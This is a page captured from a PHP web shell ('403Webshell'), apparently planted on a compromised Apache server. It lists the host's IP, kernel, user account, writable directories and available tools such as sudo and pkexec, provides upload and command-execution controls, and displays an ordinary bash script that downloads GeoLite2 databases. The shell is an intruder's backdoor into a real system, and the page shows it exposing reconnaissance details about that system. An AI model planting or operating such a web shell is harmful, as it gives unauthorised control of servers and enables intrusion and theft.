403Webshell
Server IP : 104.21.95.231  /  Your IP : 162.159.114.31
Web Server : Apache
System : Linux vm3310.eosdns.net 4.18.0-553.132.1.el8_10.x86_64 #1 SMP Thu Jun 11 14:27:43 UTC 2026 x86_64
User : carnalmedia ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mojo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mojo/mojo_geoipupdate
#!/bin/bash
#
# Script: mojo_geoipupdate
#
# Usage: mojo_geoipupdate
#
# Description: A script used to download MaxMind GeoLite2 Databases from fs01 Bucket
#
# Author: Keith Muska
#
# Changelog:
# * 03/18/2025: Keith Muska
# - Initial write


# Get updated files from fs01 bucket:
for i in GeoLite2-ASN.mmdb GeoLite2-City.mmdb GeoLite2-Country.mmdb ; do wget --no-check-certificate -O /usr/share/GeoIP/${i} https://fs01.us-north-4.mojocloud.com/geoip/${i} ; done

# Check age of downloaded files:
AGE=$(($(date +%s)-$(mmdblookup -f /usr/share/GeoIP/GeoLite2-City.mmdb -i 8.8.8.8 -v | grep epoch | awk '{print $3}')))

if [ ${AGE} -gt 604800 ]; then
  echo "Downloaded files are older than 1 Week!"
  exit 1
else
  # If new files look OK, gracefully reload web servers:
  if [ -f "/usr/local/mojo/bin/reload_webservers" ]; then
    /usr/local/mojo/bin/reload_webservers
  fi
fi
exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit